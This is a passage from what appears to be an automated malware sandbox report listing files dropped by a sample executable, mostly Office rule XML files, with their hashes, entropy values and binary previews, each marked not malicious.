Preview:	<?xml..fFj....S.....{.....g8.rM....wr0...SD.f.%.O.y..XR..].]JS..........0......,._R@.PLh.ZkxE?i{..q..........^...U.e..2X.....y.\'e...f...Gow.c4N.0VUt...F%...)qU.].%D>........P.h.E.2.W..3..AA.>...>...v#....T.R..........s.6..?.T"@o9.K....>.+j.....fc#...0.......nc+'(dg}...I...i.........\|...' $.C..J....`....x;~...>...z..{.Y...g..@;......7.."k.....F....MSU.]of%...}..`......MPz&.U....0..:B.....8...gy.X....4..t.s.C..T.;.<1....._.L...8.q5@./....Gi=n..}.?`....O...&........n....d...7.....cU..?r.u}...C..1J....5q..OM..........4.a..y.f..O..S.Fl.......}.6.[5...i...+.c.....e"M.\|W...O.......j.y]..Z.F>O...U.xH..%.....U..~....^..NU1'.......<0.,2T1l....v..xc....\..r..E.].K..Q...$L.W.Q.O.....gt..l.............Mg4...p6...7.....d..8..Q.......I......qy.n..b.y....1..:./.......r.e)Fz..NN..,..n.3}.q..%../z..P........g.H...).O..wK..D.+!....~Z_......sIT.".H...}.o~O...8.\(U5.~.$. q..Hi.7..9`7.5\.........m_Z.D.st...sB.lV.......`j*FKS./{..V=..N.B.(..v.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703350v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.865943662966615
Encrypted:	false
SSDEEP:	48:DOK3UfJW6Lh6uzpAaYjpB08y1e0/FHEmD:bUfTL0uav/08X4E+
MD5:	E088BAAE7B5FEB3CFEE51A4429B58DFB
SHA1:	CAF3185AA0CE41A2B64DE257A1133E57FEDF9B34
SHA-256:	78E9C9E11AB48A866E206A57769C22FD7FDD72C092AEE4A43C52725125B8E424
SHA-512:	6E3E8B4EE6A15C3952390D71036C59134F84F8FA105D9A731A67ED9741937C8548C246898E8A25B8661FDD5EF4234F431A6C165202B1D15F819B2A20EE65E0D7
Malicious:	false
Preview:	<?xml....y......#.d....RK.;/..=.\|....<..(...\.(...X.$...8.].".....n.xq....q.....a...J.Z,Z........w....]\q>.b.Sy....-.......Cr..O.N.?......-@o..=Iew..Y.r.uQ.D...>..z[...w\.x....t....k...d..C%...%..."x..{g... .F...AE........t.l.m..=.5.Q..f.Hx.kt......X4p.e.W..........v..;[.r.e=.....C.@V~...VdX#A?O.....f2....D.E......6..!,...yK........S.............~H..]ka.!" .....(q.6..Y.OJ..T.-Dq.f..w...u.^Z@Yd...?..W.oi.x......'d......v.....r.^$..[..H_...Lg.....].7.cQp.....o...x...q.%..."..H$........\|/."{.......K_..}.......v....u.Z......3.".f.............M..I...MZ.[......1fY..Y.v`.I].`.'8C..'G....NNwL.$SD....%.C.X.5l..q.n.8E.....ai...Q<...=J....t8.....F..N.....S./....}..g...w.C.-.s/..[...&..k....I=c(8..9<.f.i'.m2........\|X...........!S)..[*..!O~....w..o....6.b......1.5.....G.;..L......5.G5...?V...[......9bC......=.u..Y6@w.U..h..EAC.=....\.]..... ....k.g.....x....4...6WO.A...t..w...d..=...w....M..=.\........@..jcY@...u..@..T...'......>...I$.m...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703351v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.884237390192651
Encrypted:	false
SSDEEP:	48:v4HPI9BWpEdLySKeMkG0nXFd1BQY1rWmD:AHPIWpEdLLKelNw+
MD5:	2AB69A16A885DF1C0C2EA48CEB52EC5C
SHA1:	37A8894A7BDFD42977598266F5511CD7E31C4066
SHA-256:	057AE17A560824BB91C089995E962118831C139C195E753105A2104C2EC60DB7
SHA-512:	68DF48D1F81134D95FBF4EB96A43CD67B78E84D833521D9B45249BA297F23F2322892F41ECB99A5DD37C40F3F11C3A3F9E44760C540D4ACC472AF9563A0F33DC
Malicious:	false
Preview:	<?xml..M.m'..A.{..U..r:.........q.......GH...m.vwS.}K...A/....'_,......f4..ElEo........^..U...Z....{r....d..^k.$.S.BK.A...\|.3.....q.Ut^..1..C.....x......0T..5..JvGU.. .S..&...d...z...Q......Bd.d...d.5..#=U..n.....7.?..l.Gv.8._.a.7.s.apm..9..H.[t...v.,..h...h......+to7..~y.+3Z..X.~;.B..1.....c...X.'%..m.<...gU.'M..)...z-.d.q..N.I.....;.5Y.^..`_.v.q.L$y..V.Y...f..0N..../Cm.....=../.<K..>.r.D...t..k=._p..4.. ..wDdp...I...E.uG#.l...g....!...so..Q\.\..Y....iKj...onE....t.-gGy).P.6<.'!!oO.}hOu.{..(......vY..(..eVt....W.h...M.l<j.....h...\|D.............W..y....N..o..n..0......d..^..x..P........^j.#H.7...]..8.t..5E78..I......A...@q.C_......y\|.g.M.xb...b!.........>x.c.".I?'B.H.Jq...\|eC.~.z.i.52.....d......OIRm..\NS.q.>.....&Q..\|:.{.[{71S}.!..OoZ.>...)k.6\|.h:..@.p-\.X.6.%....h..Y.<.9.v.NCW.d.\.@.!..0.00..8..1....z}=b....>..6%.Z\|....,^...t...;8..F;....<...L..U.w.)....:...!./.s.../..!..^..A%....IM.J.L4OF.u:...Z.U......@xt.".0.7d..>JOL.......U.W..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703400v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1721
Entropy (8bit):	7.873515490369529
Encrypted:	false
SSDEEP:	48:uOhFE0Mj6d8anKWKJx96Z3xG+quO8oUKb1EOPOeLZmD:uuEdMKJL6Z3rqsoQgN+
MD5:	57399E5FA0CFEB28B5D457860EB020F8
SHA1:	F38F0C80C42AB551C61D10B9E8F51334CAE369E4
SHA-256:	3216AAE477489381A2995B54DE5410ABE7A827E20F7C395C2EFD64DF5CD23BC5
SHA-512:	39968D5BD441CC69A322AF15085A455B309D1CF849922F07838F97C1FFA0188B4253CC1ECDE9B6EFF7D96219531CD45552EB30B96FCF7B1CC5790CEBD0B22B62
Malicious:	false
Preview:	<?xmlJ.6o......j.p...G.o..].TI..Y.....7r<C..u`..$...S.p.._...@jp.....xw....t.......>....c... .!...n~ZT...V.].............JC...>v..\|./...f..z...y:N}.68-M.B...G.."CW. .4..#.J+..,.O.7._.h.D...(..>.............<....\|...$...K...'c..+...K..RQ...Y.}+#uM....e#t.....S.. ....r.........(.s.b....#D....w\3q.......J....p..{W..d.../.3..U....U.%.\......K....n...2.g0bt....F.k..T.p@.#.......!...d!..!..+..$.._z.!z.z_.....=.t..t.UcOy"...n.a@....o.4...Z#;b.W.'.).k-Lj.?}...c...@.#.....>....H......&T.[....j..s...v...jF...0S},.B...<C.y.9........%......+...jM~qnV...J`...2....Vx&.'...ww.h.......t..p.W^.[.'..7....JS...1.....z.\..".rh...X.......V.++.S).nL..#..L..........%.x..p.....^.....(."m;x....$...E.Z1........I..>...#.;..IT..T..._......a7......P.,.TS.q.....%(...1.....3..W.(.[.l.w.&...,l>........p^....l.3....g.}S...!........J{..A...(.i].v..k...1.I.G..6 ..3.]#j....a....._........FU.....!/.l..^...0Xr....N54..$X.R.x4.f....../.f..."._..T..Zx_."CPW%.}....p".

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703401v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1758
Entropy (8bit):	7.8935940492343395
Encrypted:	false
SSDEEP:	48:EUgyYOy+4gtQEP8CtC+WKB0b6S2leZDfAinJmD:LRfHtQEP8Kg6te6mJ+
MD5:	A5B4245211596D453F096BA002BBC936
SHA1:	99251BAA2C8AFA4C02AE9A5878219D03A46B989D
SHA-256:	6331A8F0E63E70043E0FB4DCF343E5B77346C50E92EBCBDCC5DCD34A463137A3
SHA-512:	B066F09AF75D498D143430594DBF4E3E81EA2CD2BBB9974DF5576B7EF2AD6BB97A6946648EF79B75005DE37B2F6768BA6CA53BB6A66E8CC7B22D2029E3FDE4DD
Malicious:	false
Preview:	<?xmlP.?H..l."RB..8..~.<....#.@tF?[l.?4........r..TM-.....3.j.u..g..H.N.9...6..........{BgE.].R....%J..%..Hc.}......$.]..d..._Z..Ek...f...O..H$.....o......t...n..#.<..<...34. ..b-..XP.c.3.a h.........f..Sd.%..._.Z.....l.@......Np%...fxc....{...Z7_."RX"..lG2%.=.8B...W.8PQN...@....;..-h.2.......g...7...5[.U.>V.....i.?....(..U../..#...6..;...iz....fc.......x..R..\....F..4...t.......-...v..O4r.f.3.\.......$.n..c...F....Y....w'....~4.8.39R..[.'n.............,.3.x&t....d....V3nJ..........Z.Zs....~.......j.G.x.=.U.<..47...Q...Tb....@...V>..=...cz.oZp..:LF..a..."N.G.@..Ov..&.i.o..:.s...../.'.&...-..~.G.J.o......_.7.i......F..j7[.@..1.A...u.J.Vw.zmd...w.n.EO..JB..mL.G (z..".o..3.k..}.....As.+...\$..q.....+..y.I..PE.V.$o....O.......y...Ro.....c.cBx...2..a.4.'...B.....r.U........Y.I.._,.._u.......j...~..b.I.q..C..U.J..].y.}.`..,R.^.Q$.....?.........2.U%.]...K*....QFN..!.{.D..ox.c..y...0.4....E.;......."zy..g...............(..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.879762060074622
Encrypted:	false
SSDEEP:	24:ymbTWngE5T/Lmu/VSy62+sOILC62jx+cJeI0ESV8GhZhamdeGshwPASZPhxO6gQ6:lPQxb6253LKjx+cYL1ayeCA2bYl6mD
MD5:	ABD335E2D462CE47E8C889CF9F740AA6
SHA1:	B48DB753A38EF774FA7EBC82C88E8B3D4E0769F4
SHA-256:	C31E94EE7DCB0687DB1870CF5B670BB6E1E68EE0C1386AB6A7899C5F094389E8
SHA-512:	B1C28B8EBF62FBD53691C00A17F2B7993BD8E872C6E80DCAA4F8CB072BBA860DBC907F77AA84F1497F0370A5065439B2689BDD8855712330C0999D350DFCE5B7
Malicious:	false
Preview:	<?xmld......t6.`.Jd `f,....4!.=..sv..d.~b..>./1f.b..C....9.D..S....q....{....6..ya.~..].W.qw.7".6.@.d...\|93.J..E..VH....).T./..h.?......WGLh..5L."..?.X....W.v$.Mx....ES..]Y..Xp....,..\|N..e......x......1.D$.R....+L..sS...2...hX.>T..3.............Mh....2.o.....Z..X.A...x.I.M.....>6#...P....$."b&d...;M.].X..Y...stc.._....#9..>....ix.=A.......+.HZ....K..5....,,.._".\.....,.I.4q2....D.=..7.....j.....E.......[.}..V...>..i... \|.d..i>.%.1.j..F .."..........n..aBN@.a'...EI3....H6}.98Q.Q.,...~Y.^..4n.T....%...q9.`.c...<..z....._-LD.t..+...Uo..L.Ep...E...YE.B.'.[.L....Z...gF..6........k.,.. .O.bu4....&.z..IB....)[..%.R.....o4......5N."...OOf.....4.Va......)4..1.....<25i.PaM.l,.8.......F.7H.v........MO..qgS..\|Er..\|.5w....%)/...YY.....6..8..q!..RCv..p..M>7.. ...j...Y..d..p......p;.....6=R......$tf.sG..+W.........;...O.....c.....cP.....~...........9...jR.J.r.7..s.@..V...h4.u..Q.....q...Gs.?.....>.....Q..6.S.%.....Yp..vc...N5.(..S.R...8r.....F).

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.884656638065873
Encrypted:	false
SSDEEP:	48:w6CDKSEAHwn3l/6IYD6LJ3IIiMP5CHLXiNrnvfzMMEXrmD:w6HAHw1/sK3IIiMPMDiRv7MZr+
MD5:	9CD388FB77D13DBC4AD62CF21A2E0306
SHA1:	0C171C4156B710ECDBB1FA1469195B8DE592C69D
SHA-256:	27A5624AA7D812E89711EA5C6BA89F958F137F5C5D983120F632EBD1DD2AA0E3
SHA-512:	A77AAF4E0198D118389F4C65EF20F6A62664351FC1C4090A8E737A3B66054542E13DEECA87755DE083B3ADBC8243BC0D5973481AE207496718D711C1BEE0CE1B
Malicious:	false
Preview:	<?xmlM.[Q.F.._7$...x.+...LdW.v.+..B..lT...<...w..n.A7...._.....+h 6HXg..3.5......77.`.......v+AZf.....O..~....l.G..]7.."...{.`....,3..W......\|iTx.u..<.B...fH.!.i.)....N..^]..:....N_.].5.D]$......SV...E.W...3...[.C....3..t.....:h..'@;...eG.......WA'P.\...E...q>.w..J..'{.(.x....#..e.W....]...7....`5.K.......?TM.L.G..J.P.b.9T......U.h..h.k. ...2.%.g..x.cn....k..(G..i`8.....;(..-u..`p...X..d....e..l..%..O#...O3_HX....^..c1.T+...si.3....='q.E0.......t....>$...t.K.!^=..].fM.c~...w.4!......']..q..ya...=...>....OI3.`W;...a...K.we.M...e.7p...Q..=QM......Hn.._I...{'.`k...../..5'..-.$S..x...d..7...nF._.......$g..eg....0..z .@.....h1...T).....v.;..Wh...^..c..D.xj......f.!......Iq.........8..n.DpP.`^.(..C.^[..".?#..jk....pYZ_E..Zb.B..}.x...?..s.)+.6..p..v..J..Z.X../=k?Z~T..O!T.@.XU......t....>.;...4iT......X>x.%B......i'. ........o....".8......F.T....}._.5.oB...<W.PLd....y-eX..6.X .........gb.....L.o..HD.3ho.}..;Ve.Z....I.$.2...9p..!..$..66....G..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.867583760757678
Encrypted:	false
SSDEEP:	24:2MIJ3hqr0oi5FA7Hoos35xlckM27V0u0Hbobrya2Gc/Ff8T9TAsbD:2MgRRoQStMyk77V4Hb4ya+df8TZAmD
MD5:	E6BE5F60EAE5071E2C1989252C9BC642
SHA1:	0706E54C4023443EE202141DC0457B16AE3D8DFB
SHA-256:	463474AE9F4F6CD88CBAD9771DACAE540F57836CBC82B54DEEA20C2A7FC367BA
SHA-512:	3C5FB1364CBFAC10A27E48A20C9AE9D3684FC046FC737F4B5D7791B32187A5646BDBABAB7487A97754AE0E3B460ABB7FE53B4607DCE30139B9E6FBBE576F15BE
Malicious:	false
Preview:	<?xml1..F.S3"8..?..(....OG.u..%Ua.9.&z+.9_....MW.'.U....D...."..L.....zf.....-..CG6t....s..Z.?HWWa.L...G.X..j.;..;..[Q.i."...'.....m-48......F..DeP~E)..F&.H9.t...-....F..~..../.....-)...^.?....}.._...h...z..}.........d...%...d).K..Q.{L.[N.>..s...:.J1I...v...S\.+.U8..]LI....z.+....._..... ...Uv..X.. J.Rr...I^.~..T?.`OeD...uE.....@^XI......E..@.[.N........Z,."..Xi..(u...P_K..`..i-M....+.....dh.:..."......nNQE..6B......5.f.\|..... .F.:..\|I..F..:J..0...KW.....Y...;x.~.].._.N..T..h.....eeC.4.u>-..q.g".7.uu..{)...)..3B..^..%..B..f.D........k.(D.;)..<....G.]M..O...C.n......^.0.....B.p.uy(..Al.$J\|.7p`.:$Q.a....1....K@..).p..f..Q.Y.X..}.>%..'ac.Y..E....m....EId.b.f..Y..<......j.i\|.p.....%fM.4@..?....Q.P...<....t.v....e4.i...J.I;=.B..~..Zf>f..9...Y2j.V..t.{.YX.?..U=pX....~. .\|\B...1p...A.y...F.2...m...I.......e.#B......S..0\..s..D.h.....E...9QR..<@.td..].......Gdm.{mz.e.......&..Z..W..,U.;-........j..v.........lS.+&.to..4Y[.QDq.....c.qf..6...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.892860448676069
Encrypted:	false
SSDEEP:	24:iq3chS2X0d+693p92pA2sd4wUQRRlT5j7ZJNPKgKWi0C9dp9vYk6zJJ+IaQVsbD:BcE2X0L9kA2sqfQhB7Z/Qx9vY3J+mmD
MD5:	7213B95FB6E41813CBF9A919B300AEE1
SHA1:	09BAD6292CBFF43366314F121331DF82A5EA630E
SHA-256:	8E723631CF29E486745F2A527627C69C7B1E779713766CEE52E500FFF6E7C78E
SHA-512:	764988558BF6872833B14293F7F570F3F05ED728A29E93E09A6F78CAACBB5D4A6AC6D189215C6A3EB995B83CA34426F0113C6260D07320283C8A033CE19147FD
Malicious:	false
Preview:	<?xml.r%.d:...4.X.JL....?..4........K]...k2...um...........c...x..GUg.y......^....E_.!4.......\8.z.<..........z...3.B.w..4].....Xj.r.%..k8..L.v..f..A..8..I.(...=0..t.)..."lU\|..,.fN.'..7Hl.H%...g>.`...B^>....!.=>./.............f"...9...>OUe.W...R9.p.D{..Z.}.f.GT]0..6.=.O.Bs...k....C.O..kR:bJMS{}..L......~.L....'le.0..VMi.3P.......().os.G..s^.?.7O._........\|.Ybr4X......K@..D.!cB..-m.a-w...\|...R..?._.H.T.a.U.?..ns........"....B...w'...>nm.X.....V].y.~...'........Mz#..#.o......l.0E..T...`...z.:[Z'U.G<z.L...m...B...f~....8n...Q.T.Z.d.DF.Sj..g...@.Xc.P.8.........%H.hQ7.....).......Ls.p...v5.p.OK....f._9P.{..3...W..U.....Hp...i..L....H~&..@..?.H....w75.z.E.0.......!.H.........x..v.1;..w.c.....t.CFtQA.....s./.P..a.s_...R!..l.~.. .-..s....pnY..._.o.n.!..@.....D\..K..l.9F.k...P..5.o..5.5a.....C..1h=..{P>{...Q.s..g^_GB.....J..".D..D.....q.\..8.......p.....W>.O.!..L*=..#%.T...].......s.RQ....M.?/..aN.4-....F.\|"..../..FB\|..r...,f+.u..F.mu.T.8.I{........(

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.88952355105388
Encrypted:	false
SSDEEP:	48:0RTAMdWi/rYmNPn4cOa7s/8DC5IBUIsvdmD:EcMdWglNPnMq6sC54UDV+
MD5:	DB7EA856D833E493BB832F89F7BBAE66
SHA1:	67BBB46ACC36BB7D24A1DA12C5B304CC09D156D4
SHA-256:	C5B9171206313A30D1D878E94FA8BF05AA472AC1E79F8578828338314E54CE90
SHA-512:	9243D74077AA75A94676033CB0B6CDEE8A3595479BF0ABB9073F764E96D8B25AFE80A4F153CA4463B14E536C109150B5CB407E73723AB1AAC791462D251063D4
Malicious:	false
Preview:	<?xml........#..>..z...........->......r....dq.!...4w&.....z..!.0.....BX.b..4.........>L.5..o\l^'.W...U.7.\|P.L...&.-.4....b...`T.....y.5..."......d..J...h...;.}..'<....b~\|.!......h......gw.<..k..=...".M..<3G...N.I%....I...d.....l..p....3.f6.....#...9.gd+........./Y...M.j.7....(.....4.8.m..CU...p.lZ......x...J...7.=.PF.8@..g.....k.6.}B...N...vUg...jok...[..]...V.Xd....M..?g..%.....W.....S.b.3..`...W....S...V.~.i..!...xe.....O..Sv..yc..R.tO`....AU.......r..cNc..2v=R....c.r...F.g,1.CO.]X., ._......Q./j.Z+~.UGD..re......6.'...Wd.u.g$..t.C...^.....Vb..V.....^M..gc1.j..T.h..2.\XC.E.E#p..KJ.'y....6]1.G.......>...t..?.].T_....1"'u..0h.$.W.....t?...F.@^.}/Io.G.....#"Hu.Z..q.{....\.Sjx.y. .....B0....l.43.#.Hj......Q..1..'z.jR......)...9.8$..Y.3.^.S:.:...f.{...u....+.._.E..).A."(.m\i.O.#..V.'.......r.j.;.m4S...._./.0..+...>KI(..H..%...c8..%...e.t............"T.:..7$.?...(..nb.5.bB...PFk.g....^..Mb5&...b....r.n.G]:.l..]........~..).1...h..)."

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.878730005220644
Encrypted:	false
SSDEEP:	48:Qq2PXCE8AnwPMS1IfCjQMNvTVbQ3dFNQNY+PTHXlE0hmD:kPSE8oOEwvTVbQ3dFBWJt+
MD5:	DFD2355BC0FFDDFA1FBD55FF0815E19D
SHA1:	D6DC27CDC6B80BD5F3A24794DFBF615DCC951403
SHA-256:	1E333A59C83617528E8DA6C8C6879D31F760FFC79B10A90D5A197DEAAEAFEF5D
SHA-512:	B9A81928965FA0D97C7F2A6E2CA1F674BFF256018734942806D5CA0D59232DE62843D1B241A6A699E5A4751CC254F77499F34CF4248C9EF889704DF36C98248E
Malicious:	false
Preview:	<?xml..dN....5.._......w....$...e;.\R.62._.0l.."7.. O.N-K.........S5.1..)G...9l.<.(...=6=.'..L.u.....a.d.\| .^..G....K M ...f(.....e..S[%<.!...-;....Y.)^.)_4.9.......QF.&e.oko.>...oP..!`X19....2@Ky(...F:(..`..W.&..Fv....E.h+I.....q=7W..X....A..3_.S.P.J..(G.Q+..0d.s.-..T..- .?._...%0....fz%...$.RZ.G..p.&8......Z.\|...}[$.a.#o.5....j...T.....%....~.........h..?.\[=.\| ..\|&...S.o.S.AkY...o.....C._.,..o.z....._....Q\|.s......!.y.B3..;........q.}.m.{-.....{.SCM.....o5.?..9.=....e.v.PD..=.....OH...M.....e..:e..5x#.,u.....\|.......L......a.`.".....=K...m......1^5f.h..D.q..@...........0.Z.\|.b.............@x.:.wC.`./.......!u.0.4Bs....-..4W.......Y}b.:Y.....b.<...2>....]...E...F._.y7...u..#.?.h.T.T.2....r.q.W.=F...m...k.v........R...yx...X.....\|..d.k..u..Z..}N..@..._....)..W2.....[...kz._.Y.!.i.......FY...u.. ."..(....:...u. .BvU.....O.3R4...-..K...#.n...._q,.^V.}M=............_...l.U.q...!.....z.c...E0.]...oG..l.xc/..s..\.$....y]lg..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.861848419217005
Encrypted:	false
SSDEEP:	48:lg5OC0wYtzOWZ/H+x/h/oH2kfKSFIyhi6N3rZ5YokmD:SEYxWv+3wHDf9e6N3r/dk+
MD5:	6CB5889AF61970B0EA05C3A8CB09435E
SHA1:	C0D6B8004CC04CE4EE3EF3B2FBA990B4905D3479
SHA-256:	2D0D214504B55AA1628AAB5EE9DBF56E430A210B7C9A86D56C984A90EDCAF2CD
SHA-512:	8CA206E77729EB76F5BEAFB7D47FAEA54629C50460F5EC711AE051A9D1E1AD5C360A5BCB71169891BA7A77EA150CBE95F6918D0365FCBADB432BDF3E7DACB7C0
Malicious:	false
Preview:	<?xmlaeh.].".1..9....]..g...ZA.....z.$.y.i.ZMC4!.E?,...JqMn.....Y.....V....F3.......T..3l.W.[N.)...].D..3._.9..2.u...(....5..Kt.M....J.f...,.v.-.v...&....A..b.....w.J...o......S8.$.. .M..)..).....&1R6.\|.-.k.O.,t..1.iC.c.6.WjA....~.A..U#M}+..#....)...~.%}.}R5$.j>Ll.A9.!...#.J..f}.kO.t.%..D...k/.g.4k..\|.".....^UI\|H.....e]...2{x...'#...x.v{<.....~..]<...8...e....zpq..*L\|........e(......I^9.....r.jn.Q#..z...............5.1..A6.w.1..R..N.&...\;K.Q..c...,...mm....,.Y.y(uw3R&.7.g..c.{)\..2... .[7.Xw..~.mr..q.>5.../...NV.P..%.D...!..\R....`[.....eS..}..F..=.M/..n..3.%d.aG..V.N.<.i... .........."T.{?..[.Z...w.E.\|.l.\4.E.........]....:/.B.p...:...J..m.YR.!H.zH\|.9.1t.X8.._.'i...p..x...!S.jZ.-.'...I..K..2...X....R......h....u..D2NU......!.N.x...78...Zh...?.8QW.O.....A...4..1..S.o.f0.#.&......9p}.\9iP(...'.33"0..{...i....g))..I.Cx........O.1]...Q..l..+.^.}...d-...f..p..4.y0.x...[}....Y.z..bp..p...N9n..[......O.o.o..d...yL....'x.6......v.v.u9....Q..5.?.g..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.881563825544822
Encrypted:	false
SSDEEP:	24:Es7ALL6Br9+lIH1LOfvIqNmXdQx1QC6fMvx3jnt6AezyuA+97BtEHjRJsbD:RkHo9ZEcC2C5ZTt672b+JBtEHjnmD
MD5:	CCF87714D0EC6A6B8B9236944BFDAB4A
SHA1:	7E8126AEB490044C20F0AB14F33B7B28886E36DA
SHA-256:	3EABA59ADA379B58A98B8C7C882B1758D1333739ED6426535AA9C1639B36B1A1
SHA-512:	B296493936C4E9EEDBC90F9D4DA3C77D58E691A45498ED047C64C8AE79FEA6D7167A5506C2F750F2043C7D52C8BBC3E462BAE141BC355A1D9A31793731F49D51
Malicious:	false
Preview:	<?xml6:...)......qYM....?........J.;.w.j.....4KL...A...]9.!.}...>t.Wf..zt:.P..H.chj.C...#.\|v......bp.T^..B/...?,.F.. 4....N4..}..hU..8$M.$...nn.P.A.o...@..:oh..H.......w.#.n....K...v..X..P.d.(.....'6}.~..]j.......\|.S..B...l.Q.CI.>B......P`<~..3....V3.6.X.\.hU;n..j..e)..'..."z9....2..n...m........l.4S]........k..$..WKQ0B...........x.G\..\..$~i..P..Xb\..-!...pW..e.i..b....E....b".....02.+...p.....0.`.@.1[.[l..<(.j..<.?.F.{..F..2....6..j..H..a.zV..!t....t......skfg[l.Ww..;......d..)...0. .n..@..".0W......".S...;.ca....i.JZ...1...-.N0R..pL.I~..^z-...S.l!..........^8Q....3x..........O..V..R..2.D....2.U..Q.8.LV.b.....C.........sf._...^.=...k....K..X.....P.^Y...2.v.....GzM1\|.^.=\|~..P?3.....whZ._.B.%...Z.oS.b.....8'..).c/.ly`...D .0. ......$.O.1--.... D..V=r.8.iY....l.p.(N.S8J.I.)....Y.g...7x...6~...>.0p..<...Dh....A....o...(...r.+.......B]EjN...=.g...+.r<..m.e?1.....h.l....2....)".W..O.F."....(9.C.ay..W........>j=~r.n.#........[.%).68....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.8762420740358445
Encrypted:	false
SSDEEP:	48:aaNtaR6TLMtY/Ap2PwhogqIhVMBUTa0mD:Zg8TQiopmwOfAD+
MD5:	C4FFE87CC028404A23CFD49D7853DC61
SHA1:	BE5A7CB1CB5DF8D78A381308A4D1C1DB613538BA
SHA-256:	7A192EAAB49D813015D995E6CC6C488C36C55F260FA4C5F4FBBFB99602D1BA55
SHA-512:	D5025813A2772E2E84C26D9BBE886A7B88D7E376FD4F039D1A5FBDA124BB1194529075482B26E108C89284E73224086B55EF152C13AD7B90395EAB2170C33941
Malicious:	false
Preview:	<?xml.I@.:........"./.\ZN..E.w.QQ...p..`..Y(...,.B..>.?....e....1...\|.%.Y..o..<:.Jy...."hx.-w...\.QD.ig....'.Uu.N..b.b.%...g,A.N7...<.WDA..ow...%..:\|L......v....\..}...M1O...@..w.x...F..V..&.......id+.tb:..(..P.N>'.k..:..@.?..E..N..3.9UkG\|...Cs.m...I?`.....M.j.'...kc...i{^Y.Uu.9@[.<f.n..G..,.YN..5j..e0.....5LR#...;qX&..J...G-..Q{....:&]n...;.....xOV..WhDD.4.(.....Z..z.O.V..V.M......<....Y.0.K\._.a..S..3m[.z]z..d.?..p..{.gl.:.p.@...RD..V........w~S\|{2H~.!....g.+.Y><..R>...jO.8......6...-.s.@...t.p./b..h..g+....N`..OCa.!..@.s...{.a.RG..OC.....R...hyw......w...0.[.(...........L..'...f./......:.E...#....)XE...b../.EL.Z;...6_..B.'.......O/.v...RE%..."....m..~a..4...8.Q......B.8.....N.V.#..e../.S+...4..3.......g.....q~p..~.i.vO...6.I'..@..L...=..%.UW}.l.Q..}.F.?....+..%......y)n..........L....{.)>h/.~..!.d?...v. ........A~~.%...}..ec..u...{ge...V&..!.n.V.......[4..\q...~.b..;...]..}...... ...\.eC..,..RL......Zh...a{....G.&...pQ\.>{...d

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.876686198715357
Encrypted:	false
SSDEEP:	48:1Mt754634n+CTbNB4jhvh+7ps9lhOEM9a1dmD:1O75knDTbNBuhvhYps9lUE/n+
MD5:	AC400764DF1C156817E83E2DEA88946D
SHA1:	06F4B216FC5ACB7A93FD69396B7EA90CE082C711
SHA-256:	00823244130F9361AE96690A72D39BA38F9BF1DA899D397FF72E077E2DE9B675
SHA-512:	9002D4C55B24A20C7270E1AC69D567D5659DFB0B2E08597A08E66001537CF720A285946FE4EB47FB3659D2812451B4D27EB6CDACA4D9820CC7EBDC8462323B55
Malicious:	false
